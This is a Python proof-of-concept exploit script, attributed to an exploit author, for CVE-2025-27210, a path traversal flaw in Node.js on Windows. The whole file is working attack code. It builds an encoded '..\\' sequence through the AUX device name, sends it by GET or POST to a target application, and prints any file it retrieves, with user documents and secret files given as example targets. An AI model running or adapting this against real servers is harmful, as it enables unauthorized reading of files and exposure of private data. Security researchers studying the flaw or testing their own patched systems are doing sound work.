Node.js 24.x Path Traversal Vulnerability

# Exploit Author : Abdualhadi khalifa
# CVE : CVE-2025-27210


import argparse
import requests
import urllib.parse
import json
import sys

def exploit_path_traversal_precise(target_url: str, target_file: str, method: str) -> dict:

    traverse_sequence = "..\\" * 6
    normalized_target_file = target_file.replace("C:", "").lstrip("\\/")
    malicious_path = f"{traverse_sequence}AUX\\..\\{normalized_target_file}"
    encoded_malicious_path = urllib.parse.quote(malicious_path, safe='')
    full_url = f"{target_url}/{encoded_malicious_path}"

    response_data = {
        "target_url": target_url,
        "target_file_attempted": target_file,
        "malicious_path_sent_raw": malicious_path,
        "malicious_path_sent_encoded": encoded_malicious_path,
        "full_request_url": full_url,
        "http_method": method,
        "success": False,
        "response_status_code": None,
        "response_content_length": None,
        "extracted_content": None,
        "error_message": None
    }

    try:
        print(f"[*] Preparing precise Path Traversal exploit...")
        print(f"[*] Malicious Path (Encoded): {encoded_malicious_path}")
        print(f"[*] Request URL: {full_url}")

        if method.upper() == 'GET':
            response = requests.get(full_url, timeout=15)
        elif method.upper() == 'POST':
            response = requests.post(f"{target_url}", params={'filename': encoded_malicious_path}, timeout=15)
        else:
            raise ValueError("Unsupported HTTP method. Use 'GET' or 'POST'.")

        response_data["response_status_code"] = response.status_code
        response_data["response_content_length"] = len(response.content)

        if response.status_code == 200:
            content = response.text
            response_data["extracted_content"] = content
            if target_file.lower().endswith("win.ini") and "[windows]" in content.lower():
                response_data["success"] = True
            elif len(content) > 0:  # For any other file, just check for non-empty content.
                response_data["success"] = True
            else:
                response_data["error_message"] = "Received 200 OK, but content is empty or unexpected."
        else:
            response_data["error_message"] = f"Server responded with non-200 status code: {response.status_code}"

    except requests.exceptions.Timeout:
        response_data["error_message"] = "Request timed out. Server might be slow or unresponsive."
    except requests.exceptions.ConnectionError:
        response_data["error_message"] = "Connection failed to target. Ensure the Node.js application is running and accessible."
    except ValueError as ve:
        response_data["error_message"] = str(ve)
    except Exception as e:
        response_data["error_message"] = f"An unexpected error occurred: {str(e)}"

    return response_data

def main():

    parser = argparse.ArgumentParser(
        prog="CVE-2025-27210_NodeJS_Path_Traversal_Exploiter.py",
        description="""
        Proof of Concept (PoC) for a precise Path Traversal vulnerability in Node.js on Windows (CVE-2025-27210).
        This script leverages how Node.js functions (like path.normalize() or path.join())
        might mishandle reserved Windows device file names (e.g., CON, AUX) within Path Traversal
        sequences.
        """,
        formatter_class=argparse.RawTextHelpFormatter
    )
    parser.add_argument(
        "-t", "--target",
        type=str,
        required=True,
        help="Base URL of the vulnerable Node.js application endpoint (e.g., http://localhost:3000/files)."
    )
    parser.add_argument(
        "-f", "--file",
        type=str,
        default="C:\\Windows\\win.ini",
        help="""Absolute path to the target file on the Windows system.
Examples: C:\\Windows\\win.ini, C:\\secret.txt, C:\\Users\\Public\\Documents\\important.docx
        """
    )
    parser.add_argument(
        "-m", "--method",
        type=str,
        choices=["GET", "POST"],
        default="GET",
        help="HTTP method for the request ('GET' or 'POST')."
    )

    args = parser.parse_args()

    # --- CLI Output Formatting ---
    print("\n" + "="*70)
    print("      CVE-2025-27210 Node.js Path Traversal Exploit PoC")
    print("="*70)
    print(f"[*] Target URL: {args.target}")
    print(f"[*] Target File: {args.file}")
    print(f"[*] HTTP Method: {args.method}")
    print("-"*70 + "\n")

    result = exploit_path_traversal_precise(args.target, args.file, args.method)

    print("\n" + "-"*70)
    print("                   Exploit Results")
    print("-"*70)
    print(f"  Request URL: {result['full_request_url']}")
    print(f"  Malicious Path Sent (Raw): {result['malicious_path_sent_raw']}")
    print(f"  Malicious Path Sent (Encoded): {result['malicious_path_sent_encoded']}")
    print(f"  Response Status Code: {result['response_status_code']}")
    print(f"  Response Content Length: {result['response_content_length']} bytes")

    if result["success"]:
        print("\n  [+] File successfully retrieved! Content below:")
        print("  " + "="*66)
        print(result["extracted_content"])
        print("  " + "="*66)
    else:
        print("\n  [-] File retrieval failed or unexpected content received.")
        if result["error_message"]:
            print(f"  Error: {result['error_message']}")
        elif result["extracted_content"]:
            print("\n  Response content (partial, may indicate server error or unexpected data):")
            print("  " + "-"*66)
            # Truncate long content if not fully successful
            print(result["extracted_content"][:1000] + "..." if len(result["extracted_content"]) > 1000 else result["extracted_content"])
            print("  " + "-"*66)

    print("\n" + "="*70)
    print("                 Complete")
    print("="*70 + "\n")

if __name__ == "__main__":
    main()